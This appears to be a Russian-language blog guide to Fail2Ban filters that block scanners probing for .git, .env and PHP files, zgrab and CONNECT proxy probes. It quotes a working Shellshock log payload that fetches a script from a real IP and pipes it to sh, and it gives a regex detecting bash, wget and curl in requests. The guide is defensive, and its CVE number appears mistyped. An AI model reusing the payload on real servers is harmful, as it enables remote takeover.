Настройка фильтров Fail2Ban для защиты от сканеров и ботов

Кажется, что боты и сканеры — пережиток прошлого: мол, в интернете уже нет белых пятен, все “непорядочные” адреса давно забанены. Увы — нет. Ботов полно, они не умирают и не исчезают, а только множатся. Стоит вам открыть порты 80 и 443 — и буквально за минуты кто-нибудь начнёт “исследовать” сайт в поисках уязвимостей и конфигураций. Особенно любят они типовые пути — .git, phpinfo, .env, device.rsp и т.п. Если не защититься заранее, из-за одного забытого файла можно получить много проблем.

Например, большинство разработчиков используют git и некоторые из них размещают проект прямо в /var/www, забывая, что nginx отдает всю статику, если нет ограничений. И вот такой запрос запросто определит наличие папки .git и вытащит .git/config:

"GET /.git/config HTTP/1.1" 444 0 "-" "Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0"

Для защиты от подобных запросов следует настроить блокировку в nginx и добавить автоматический бан IP-адресов через фаервол.

Bash-код в запросе

Часто сканеры ищут уязвимости, позволяющие выполнить произвольный Bash-код на сервере. Типичная цель — заставить сервер скачать и запустить sh-скрипт через wget или curl. Пример payload-запроса в логах:

"GET / HTTP/1.1" 200 612 "-" "() { :; }; /bin/bash -c "(wget -qO- http://74.194.191.52/rondo.qre.sh || busybox wget -qO- http://74.194.191.52/rondo.qre.sh || curl -s http://74.194.191.52/rondo.qre.sh) | sh" & #Mozilla/5.0 (bang2012@tutanota.de)"

Это классический пример эксплуатации уязвимости Shellshock(CVE-2014-62710: веб-сервер (через CGI) экспортирует HTTP-заголовки в переменные окружения, а затем запускает Bash (или другой компонент вызывает bash) для обработки этих переменных. Уязвимые версии Bash интерпретируют определение функции () { :; }; и выполняют код после неe. В результате атакующий добивается выполнения произвольной команды на сервере (RCE).

Для Fail2Ban можно сделать такой фильтр:

[Definition]
failregex = (?i)<HOST>\s+-\s+".*?(?:/bin/(?:bash|sh)|(?:wget|curl)(?:\s+|(%%20)+).*http).*?HTTP/
ignoreregex =

Покрываются любой Bash-код с wget/curl.

php и .env файлы

Cканеры ищут стандартные файлы и директории, которые часто оставляют разработчики или фреймворки. Цель — найти информацию о конфигурации, тестовые скрипты или файлы окружения с секретами. Например:

"GET /phpinfos.php HTTP/1.1" 301 169 "-" "Go-http-client/1.1"
"GET /admin/.env HTTP/1.1" 301 169 "-" "Go-http-client/1.1"

Фильтр для блокировки всех запросов с .php или .env:

[Definition]
failregex = (?i)<HOST> -.*"(?:GET|HEAD|POST|PUT|DELETE|OPTIONS|PATCH|TRACE|CONNECT) [^"]*((\.php)|(\.env)).*
ignoreregex =

zgrab

zgrab — это инструмент для массового сетевого сканирования (порт-сканинг и сбор баннеров), его применяют исследовательские проекты и различные сервисы(Censys, Shodan, университеты), а также злоумышленники. Наличие zgrab в User-Agent само по себе не доказывает добросовестность — UA легко подделать. При подозрительном трафике лучше проверить PTR/WHOIS и частоту запросов, а при необходимости временно заблокировать источник:

"GET /owa/auth/logon.aspx HTTP/1.1" 444 0 "-" "Mozilla/5.0 zgrab/0.x"

Фильтр для блокировки запросов zgrab:

[Definition]
failregex = <HOST> -.*zgrab
ignoreregex =

CONNECT

HTTP-запрос с методом CONNECT используется только в прокси-серверах, когда клиент хочет установить туннель через прокси к другому серверу:

"CONNECT search.stresserus.com:443 HTTP/1.1" 400 157 "-" "-"

Чаще всего это боты, сканирующие сеть на наличие открытых прокси (чтобы потом использовать их для анонимизации или DDoS). Фильтр для блокировки CONNECT запросов:

[Definition]
failregex = <HOST> -.*"((CONNECT)|(HEAD\s+http(s)?:\/\/\d\d)).*
ignoreregex =